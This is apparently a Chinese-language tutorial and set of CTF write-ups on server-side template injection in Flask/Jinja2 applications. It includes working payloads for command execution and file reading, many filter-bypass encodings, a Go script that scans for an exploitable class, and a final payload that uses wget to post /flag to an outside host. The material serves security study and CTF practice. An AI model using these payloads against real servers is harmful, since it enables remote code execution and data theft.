ssti模板注入攻击

SSIT模板注入攻击

中文名称服务端模板注入漏洞,也直接称为模板注入。当用户输入数据以不安全的方式嵌入到模板中时,就会发生模板注入。

什么是模板引擎?

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的文档。

检测模板的方法

image-20240305191701226

可利用类(不全)

1
2
3
4
5
6
7
大多数利用的是os._wrap_close这个类


__builtins__,它里面有eval()它的payload是 ==>
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

{{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}

常用payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
1、任意命令执行
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('dir').read()%}{%endif%}{%endfor%}
2、任意命令执行
{{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('cat /flag').read()}}
//这个138对应的类是os._wrap_close,只需要找到这个类的索引就可以利用这个payload
3、任意命令执行
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}}
4、任意命令执行
{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
//x的含义是可以为任意字母,不仅仅限于x
5、任意命令执行
{{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
6、任意命令执行
{{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}
7、文件读取
{{x.__init__.__globals__['__builtins__'].open('/flag', 'r').read()}}
//x的含义是可以为任意字母,不仅仅限于x

8.{{lipsum.__globals__['os'].popen('whoami').read()}}
9. {%print(lipsum|attr("__globals__"))|attr("__getitem__")("os")|attr("popen")("whoami")|attr("read")()%}


上述payload来自https://tttang.com/archive/1698/#toc__5

Python中的一些魔术方法和内置类

_class_ ==> 用于返回该对象所属的类

image-20240605142916433

_base_ ==> 用于返回对象的基类(父类)

image-20240605143115571

image-20240605143421786

_mro_ ==> 返回解析方法调用的顺序

image-20240605144259482

image-20240605144343114

image-20240605144317554

_subclasses_ () ==> 返回当前类的所有子类

image-20240605144529888

常用的过滤器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
length() # 获取一个序列或者字典的长度并将其返回

int():# 将值转换为int类型;

float():# 将值转换为float类型;

lower():# 将字符串转换为小写;

upper():# 将字符串转换为大写;

reverse():# 反转字符串;

replace(value,old,new): # 将value中的old替换为new

list():# 将变量转换为列表类型;

string():# 将变量转换成字符串类型;

join():# 将一个序列中的参数值拼接成字符串,通常有python内置的dict()配合使用

attr(): # 获取对象的属性

SSTI常见的绕过方式

当 ‘ _ ‘ 被过滤时,有以下几种绕过方式

  1. 用16进制编码绕过 __class__ ==> \x5f\x5fclass\x5f\x5f

  2. 用list获取一个字符列表,然后用pop来取一个 ‘ _ ‘

    比如用config中取出一个_ ==> {%set a=(config|list|last|list).pop(3)%}{%print(a)%}

当 ‘ . ’被过滤是,有一下几种绕过方式

  1. 用[]来绕过 {{"".__class__.__base__}} ==> {{""['__class__']['__base__']}}
  2. 使用过滤器attr()绕过 {{"".__class__}} ==> {{""|attr('__class__')}}

当[]被过滤的时候

  1. __getitem__魔术方法来进行绕过__subclasses__()[0] ==> __subclasses__().__getitem__(0)

image-20240630234434004

当单引号和双引号被过滤的时候

  1. 单引号和双引号被过滤的时候,可以用request.args.a Get传参的方式来绕过来绕过a为参数名

image-20240605161801452

当args被过滤的时候

  1. request.cookies /request.values等 来代替 request.args request.values接收post传参
1
2
3
4
5
6
7
8
9
10
11
12
13
request.args.key  #获取get传入的key的值

request.form.key #获取post传入参数(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)

reguest.values.key #获取所有参数,如果get和post有同一个参数,post的参数会覆盖get

request.cookies.key #获取cookies传入参数

request.headers.key #获取请求头请求参数

request.data #获取post传入参数(Content-Type:a/b)

request.json #获取post传入json参数 (Content-Type: application/json)

当数字被过滤的时候

  1. 这个时候我们可以通过count来得到数字 {{(dict(e=a)|join|count)}} ==> 输出 1

    count 通常用于计算集合(如列表、字典等)中的元素数量

image-20240630234533509

当关键字被过滤的时候

  1. classbase这类关键字被过滤的时候,用join拼接的方式绕过

image-20240605160907110

  1. “ + ”拼接 {{""['__class__']}} ==>{{""[‘__cla’+’ss__’]}}

  2. Jinjia2中的~拼接{{""['__class__']}} ==> {%set a='__cla'%}{%set b='ss__'%}{{""[a~b]}}

使用Unicode编码

{{“”|attr("class")}} ==> {{""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")}}

使用16进制编码

{{""|attr("__class__")}} ==> {{""|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")}}

使用格式化字符串

{{()|attr("%c%cclass%c%c"%(95,95,95,95))}} ==> {{()|attr(__class__)}}

如果是post方式提交, 需要将% 进行url编码 编码成%25, 因为在 URL中%是一个特殊字符

靶场

先检查模板

image-20240305194249962

image-20240305194306926

则模板可能是Jinjia2或者Twig

Jinjia2模板是基于Python语言开发

jinja2payload

1
2
3
4
5
{% for c in "".__class__.__base__.__subclasses__():%}
{%if c.__name__ == "_wrap_close":%}
{{c.__init__.__globals__['popen']("ls /").read()}}
{%endif%}
{%endfor%}

payload分析

  1. Python中访问空字符串””的类的父类的所有子类。
  2. {%if c.__name__ == "_wrap_close":%}`:这是一个条件语句,检查当前子类(c)的名称是否为"_wrap_close"。 3. `{{c.__init__.__globals__['popen']("ls /").read()}}`:如果前面的条件成立,这段代码将执行命令`ls /`,并尝试读取其输出。 4. `{%endif%}:结束条件语句块。
  3. {%endfor%}:结束循环语句块。

拼接

image-20240305195152219

flask应用的介绍及搭建

flask:flask是一个使用Python编写的轻量级的Web应用框架

flask的WSGI工具箱采用Werkzeug, 模板引擎采用Jinja2. flask采用BSD授权

flask的特点有:良好的文档、丰富的插件、包含开发服务器和调试器(debugger)、集成支持单元测试、RESTful请求调度、支持安全cookies、基于Unicode

Python 可以直接用flask启动一个Web服务页面

Flask的基本架构

1
2
3
4
5
6
7
8
9
10
from flask import Flask
app = Flask(__name__) # __name__是系统变量,指的是本py文件的文件名

@app.route('/') # 路由
def index():
return 'Hello Yliken!'

if __name__ == '__main__':
app.run()

程序运行之后会在127.0.0.1地址的5000端口进行监听

image-20240512165147567

image-20240512165039648

若想要让程序同时监听局域网,可在app,run里面加上 host = ‘0.0.0.0’ 同时可以使用port = 8080让其监听8080端口.

1
2
3
4
5
6
7
8
9
from flask import Flask
app = Flask(__name__) # __name__是系统变量,指的是本py文件的文件名

@app.route('/') # 路由
def index():
return 'Hello Yliken!'

if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)

image-20240512165739109

Simple_SSTI_1(BugKu平台)

最基础的一题没任何过滤

os.__wrap__.close类的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package main

import (
"fmt"
"io"
"net/http"
"strings"
)

func toFindWrap(url string) {
fmt.Println("开始寻找os._wrap_close类")

for i := 0; i < 300; i++ {
Client := http.Client{}
payload := fmt.Sprintf("{{\"\".__class__.__base__.__subclasses__()[%d]}}", i)
req, _ := http.NewRequest("Get", url, nil)
param := req.URL.Query()
param.Add("flag", payload)
req.URL.RawQuery = param.Encode()
res, _ := Client.Do(req)
defer res.Body.Close()
body, _ := io.ReadAll(res.Body)

if strings.Contains(string(body), "wrap_") {

fmt.Println("payload -->", payload)
fmt.Println(string(body))
break
}

}

}

func main() {
ur := "http://114.67.175.224:13152/"
toFindWrap(ur)
}

image-20240727181612625

2024zkaq五月擂台赛

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
    {{lipsum.__globals__['os'].popen('whoami').read()}}

23
{{dict(a=a,b=c)|count}}

获取数字24 {%set a=dict(a=a,b=b,c=c)|count%}{%set num=a*a*a-a%}{%print num%}

获取_ ==> {%set a=dict(a=a,b=b,c=c)|count%}{%set num=a*a*a-a%}{%set xia=a|select|string|list|attr(dict(p=a,op=b)|join)(num)%}

获取__globals ==> {%set a=dict(a=a,b=b,c=c)|count%}{%set num=a*a*a-a%}{%set x=a|select|string|list|attr(dict(p=a,op=b)|join)(num)%}{%set u=(dict(url=a)|join,x,dict(for=a)|join)|join%}{%set g=(x,x,dict(glob=a,als=b)|join,x,x)|join%}{{g}}

payload: ==>{%set a=dict(a=a,b=b,c=c)|count%}{%set num=a*a*a-a%}{%set x=a|select|string|list|attr(dict(p=a,op=b)|join)(num)%}{%set g=(x,x,dict(glob=a,als=b)|join,x,x)|join%}{%set e=(x,x,dict(ge=a,titem=b)|join,x,x)|join%}{%set p=(dict(popen=a)|join)|join%}{{(lipsum|attr(g)|attr(e)(dict(os=a)|join)|attr(p)(request.values.m))|attr(dict(read=a)|join)()}}&m=ls

//payload 太长不合格


官方payload
{%set d=dict%}{%set a=d(ge=a,t=a)|join%}{%set b=d(ar=a,gs=a)|join%}{%set u=request|attr(b)|attr(a)%}{{lipsum|attr(u(d(g=a)|join))|attr(u(d(e=a)|join))(d(os=a)|join)|attr(d(popen=a)|join)(u(d(m=a)|join))|attr(d(read=a)|join)()}}&g=__globals__&e=__getitem__&m=cat /flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST http://8f783fe0-b33b-42ad-92dd-3748acfff8f4.node5.buuoj.cn:81/ HTTP/1.1
Host: 8f783fe0-b33b-42ad-92dd-3748acfff8f4.node5.buuoj.cn:81
Content-Length: 333
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0
Content-Type: application/x-www-form-urlencoded
Origin: http://8f783fe0-b33b-42ad-92dd-3748acfff8f4.node5.buuoj.cn:81
Referer: http://8f783fe0-b33b-42ad-92dd-3748acfff8f4.node5.buuoj.cn:81/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

code={%set o1=(dict(o=a,s=n))|join%}
{%set re=(dict(re=a,ad=n))|join%}{%set pppct=(dict(po=a,pen=n))|join%}
{%set%20a=(lipsum|string|list)|attr(%27pop%27)(18)%}
{%set%20glob=(a,a,(dict(glo=a,bals=b)|join),a,a)|join%}
{%set gt=(a,a,(dict(geti=a,tem=n)|join),a,a)|join%}
{{lipsum|attr(glob)|attr(gt)(o1)|attr(pppct)('tac fla*')|attr(re)()}}

2024“源鲁杯”高校网络安全技能大赛

题目中{{}} set被禁 if语句来进行判断

os中的popen被禁 通过system来进行命令执行

system正确执行一条语句的时候 返回 0 此时{%endif%}前面的1不会被打印到页面

使用wegt进行数据外带,wget访问xx.xxx.xx.243使用--post-file=文件名将某个文件中的数据作为post值传输

空格被过滤,使用%09绕过

1
{%if(lipsum|attr('%c%cglobals%c%c'%(95,95,95,95))|attr('%c%cgetitem%c%c'%(95,95,95,95))('os')|attr('system')('wget%09xx.xxx.xx.243:7777%09--post-file=/flag'))%}1{%endif%}